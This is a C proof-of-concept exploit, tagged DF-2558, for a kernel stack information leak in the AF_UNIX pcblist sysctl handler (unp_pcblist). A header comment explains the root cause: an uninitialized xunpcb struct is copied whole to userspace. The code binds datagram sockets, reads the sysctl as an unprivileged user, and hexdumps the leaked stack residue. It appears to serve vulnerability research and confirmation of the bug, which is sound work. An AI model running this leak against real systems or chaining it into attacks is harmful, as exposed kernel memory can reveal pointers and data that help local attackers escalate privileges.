/*
 * DF-2558 - Kernel stack info leak via the AF_UNIX pcblist sysctl handler
 *           (unp_pcblist in sys/kern/uipc_usrreq.c).
 *
 * Root cause
 * ----------
 * In sys/kern/uipc_usrreq.c the unp_pcblist() sysctl handler walks every
 * AF_UNIX PCB and, for each one, declares
 *
 *     struct xunpcb xu;            // <-- ON THE STACK, NO INITIALIZER   (line 1465)
 *
 * then only writes:
 *   - xu.xu_len           = sizeof(xu)              (8 B)
 *   - xu.xu_unpp          = unp                     (8 B)
 *   - bcopy(unp_addr,  &xu.xu_addr,  sun_len)       (<= ~106 B of a 256-B union)
 *   - bcopy(conn_addr,  &xu.xu_caddr, conn_sun_len) (<= ~106 B of a 256-B union)
 *   - bcopy(unp,        &xu.xu_unp,   sizeof *unp)  (full)
 *   - sotoxsocket(so,   &xu.xu_socket)              (full)
 *
 * The trailing bytes of the two 256-byte unions (xu_au / xu_cau) PAST the
 * copied sun_len, plus the 8-byte xu_alignment_hack trailer (which is NEVER
 * written), stay as raw uninitialized kernel stack. SYSCTL_OUT(req,&xu,sizeof x
 * u) then copies the whole 912-byte struct verbatim to userspace.
 *
 * For an unconnected bound socket: xu_caddr is entirely uninitialized (256 B)
 * and xu_addr has 256-sun_len uninitialized bytes; xu_alignment_hack is always
 * 8 B of pure stack residue.
 *
 * The pcblist sysctl nodes are CTLFLAG_RD with no privilege check, so any
 * unprivileged local user can read them.
 *
 * This PoC:
 *   1. Creates N bound AF_UNIX SOCK_DGRAM sockets (no connect) so the dgram
 *      pcblist contains records whose xu_caddr / xu_alignment_hack are pure
 *      uninitialized stack.
 *   2. Reads net.local.dgram.pcblist via sysctl(2) (sysctlnametomib + sysctl).
 *   3. Walks each 912-byte xunpcb record and counts non-zero bytes in the
 *      three leak regions:
 *        - xu_addr  tail  [sun_len .. 256)
 *        - xu_caddr        (entire 256 B when nothing was copied, i.e. no peer)
 *        - xu_alignment_hack (always 8 B of pure residue)
 *   4. Reports per-sample and total counts.  If any record carries non-zero
 *      bytes in those regions, the leak is CONFIRMED.
 *
 * Build: cc -O2 -o poc poc.c
 * Run:   ./poc [niter]            (unprivileged; default niter=3)
 */

#include <sys/param.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/sysctl.h>
#include <sys/socketvar.h>
#include <sys/un.h>
#include <sys/unpcb.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stddef.h>
#include <unistd.h>
#include <errno.h>

#define NSOCKS   8               /* bound dgram sockets to plant in the list */
#define RECSIZE  ((int)sizeof(struct xunpcb))
#define SUNPATHSZ (sizeof(((struct sockaddr_un *)0)->sun_path))

static void
hexdump(const char *label, const unsigned char *p, int n)
{
    int i;
    printf("    %-28s (%d B): ", label, n);
    for (i = 0; i < n; i++) {
        printf("%02x", p[i]);
        if ((i & 0x3) == 0x3) printf(" ");
        if ((i & 0x1f) == 0x1f && i + 1 < n) printf("\n    %-28s        ", "");
    }
    printf("\n");
}

int
main(int argc, char **argv)
{
    const char *oid = "net.local.dgram.pcblist";
    int niter = 3;
    int mib[CTL_MAXNAME];
    size_t miblen = CTL_MAXNAME;
    int sv[NSOCKS];
    char path[NSOCKS][SUNPATHSZ];
    int i, iter, r, total_leak = 0, total_max = 0, total_recs = 0;

    if (argc > 1) niter = atoi(argv[1]);

    /* plant N bound AF_UNIX dgram sockets (no connect) */
    for (i = 0; i < NSOCKS; i++) {
        struct sockaddr_un un;
        if ((sv[i] = socket(AF_UNIX, SOCK_DGRAM, 0)) < 0) {
            perror("socket"); return 2;
        }
        snprintf(path[i], sizeof(path[i]), "/tmp/df2558_%d_%d", getpid(), i);
        unlink(path[i]);
        memset(&un, 0, sizeof(un));
        un.sun_family = AF_UNIX;
        strncpy(un.sun_path, path[i], sizeof(un.sun_path) - 1);
        /* set sun_len explicitly */
        un.sun_len = (unsigned char)(SUN_LEN(&un));
        if (bind(sv[i], (struct sockaddr *)&un, SUN_LEN(&un)) < 0) {
            perror("bind"); return 2;
        }
    }
    {
        struct sockaddr_un u; memset(&u, 0, sizeof u);
        u.sun_family = AF_UNIX; strncpy(u.sun_path, "/tmp/df2558_0_0", sizeof(u.sun_path)-1);
        u.sun_len = (unsigned char)SUN_LEN(&u);
        printf("[*] planted %d bound AF_UNIX SOCK_DGRAM sockets (sun_len~%u, sizeof(xunpcb)=%zu)\n",
            NSOCKS, u.sun_len, (size_t)RECSIZE);
    }

    if (sysctlnametomib(oid, mib, &miblen) < 0) {
        perror("sysctlnametomib"); return 2;
    }
    printf("[*] oid %s -> miblen=%zu\n", oid, miblen);

    /* field offsets inside struct xunpcb (verified at compile time via offsetof) */
    size_t off_au   = offsetof(struct xunpcb, xu_au);            /* xu_addr union (256) */
    size_t off_cau  = offsetof(struct xunpcb, xu_cau);           /* xu_caddr union (256) */
    size_t off_ah   = offsetof(struct xunpcb, xu_alignment_hack);/* 8 B trailer */
    size_t len_au   = sizeof(((struct xunpcb *)0)->xu_au);
    size_t len_cau  = sizeof(((struct xunpcb *)0)->xu_cau);
    size_t len_ah   = sizeof(((struct xunpcb *)0)->xu_alignment_hack);
    printf("[*] off_au=%zu len_au=%zu  off_cau=%zu len_cau=%zu  off_ah=%zu len_ah=%zu\n",
        off_au, len_au, off_cau, len_cau, off_ah, len_ah);

    for (iter = 0; iter < niter; iter++) {
        size_t need = 0;
        if (sysctl(mib, miblen, NULL, &need, NULL, 0) < 0) {
            perror("sysctl probe"); return 2;
        }
        if (need == 0) {
            printf("\n=== iter %d: sysctl reports 0 bytes (no records?) ===\n", iter);
            continue;
        }
        unsigned char *buf = malloc(need);
        if (!buf) { perror("malloc"); return 2; }
        size_t got = need;
        if (sysctl(mib, miblen, buf, &got, NULL, 0) < 0) {
            perror("sysctl read"); free(buf); return 2;
        }
        int nrec = (int)(got / RECSIZE);
        printf("\n=== iter %d: %zu bytes / %d records (recsize=%d) ===\n",
            iter, got, nrec, RECSIZE);

        int iter_leak = 0, iter_max = 0;
        int shown = 0;
        for (r = 0; r < nrec; r++) {
            struct xunpcb *xu = (struct xunpcb *)(buf + r * RECSIZE);
            if (xu->xu_len != RECSIZE) continue;       /* skip malformed */

            /* xu_addr union: bytes [sun_len .. 256) are uninitialized stack.
             * sun_len is the first byte of the union (sockaddr_un). */
            unsigned char alen = buf[r * RECSIZE + off_au];   /* xu_addr.sun_len */
            size_t a_lo = off_au + alen;
            size_t a_hi = off_au + len_au;

            /* xu_caddr union: if nothing was copied (no peer addr) the whole
             * 256 B are residue. Detect "copied" by a plausible sun_len in
             * [1..106]; otherwise treat the entire union as residue. */
            unsigned char clen = buf[r * RECSIZE + off_cau];  /* xu_caddr.sun_len */
            size_t c_lo, c_hi;
            if (clen >= 1 && clen <= sizeof(struct sockaddr_un) && clen <= len_cau) {
                c_lo = off_cau + clen;
            } else {
                c_lo = off_cau;                               /* nothing copied -> all residue */
            }
            c_hi = off_cau + len_cau;

            /* xu_alignment_hack: always 8 B of pure residue (never written). */
            size_t h_lo = off_ah;
            size_t h_hi = off_ah + len_ah;

            int nz_a = 0, nz_c = 0, nz_h = 0;
            for (i = (int)a_lo; i < (int)a_hi; i++) if (buf[r*RECSIZE+i]) nz_a++;
            for (i = (int)c_lo; i < (int)c_hi; i++) if (buf[r*RECSIZE+i]) nz_c++;
            for (i = (int)h_lo; i < (int)h_hi; i++) if (buf[r*RECSIZE+i]) nz_h++;

            int max = (int)((a_hi - a_lo) + (c_hi - c_lo) + (h_hi - h_lo));
            int got_ = nz_a + nz_c + nz_h;
            iter_leak += got_;
            iter_max  += max;
            total_recs++;

            if (got_ > 0 && shown < 2) {
                printf("  rec %d (xu_unpp=%p sun_path=\"%s\"):\n",
                    r, (void *)xu->xu_unpp,
                    (char *)buf + r*RECSIZE + off_au + offsetof(struct sockaddr_un, sun_path));
                printf("    xu_addr.sun_len=%u -> tail[%zu..%zu) non-zero=%d\n",
                    alen, a_lo, a_hi, nz_a);
                hexdump("xu_addr tail", buf + r*RECSIZE + a_lo, (int)(a_hi - a_lo));
                printf("    xu_caddr.sun_len=%u -> leak[%zu..%zu) non-zero=%d\n",
                    clen, c_lo, c_hi, nz_c);
                hexdump("xu_caddr leak", buf + r*RECSIZE + c_lo, (int)(c_hi - c_lo));
                printf("    xu_alignment_hack -> [%zu..%zu) non-zero=%d\n",
                    h_lo, h_hi, nz_h);
                hexdump("xu_alignment_hack", buf + r*RECSIZE + h_lo, (int)(h_hi - h_lo));
                printf("    >>> rec %d leaked = %d / %d possible\n", r, got_, max);
                shown++;
            } else if (got_ > 0) {
                printf("  rec %d leaked = %d / %d possible (al=%u cl=%u)\n",
                    r, got_, max, alen, clen);
            } else {
                printf("  rec %d leaked = 0 / %d (clean) (al=%u cl=%u)\n",
                    r, max, alen, clen);
            }
        }
        printf("  --- iter %d subtotal: %d leaked non-zero bytes / %d possible ---\n",
            iter, iter_leak, iter_max);
        total_leak += iter_leak;
        total_max  += iter_max;
        free(buf);
    }

    /* cleanup */
    for (i = 0; i < NSOCKS; i++) { close(sv[i]); unlink(path[i]); }

    printf("\n==== SUMMARY over %d iters, %d records: %d leaked non-zero bytes (of %d possible) ====\n",
        niter, total_recs, total_leak, total_max);

    if (total_leak > 0) {
        printf("result: LEAK CONFIRMED (kernel-stack residue in xunpcb via pcblist sysctl)\n");
        return 0;
    } else {
        printf("result: NO LEAK (xunpcb trailing bytes all zero - bug not present / fixed)\n");
        return 1;
    }
}
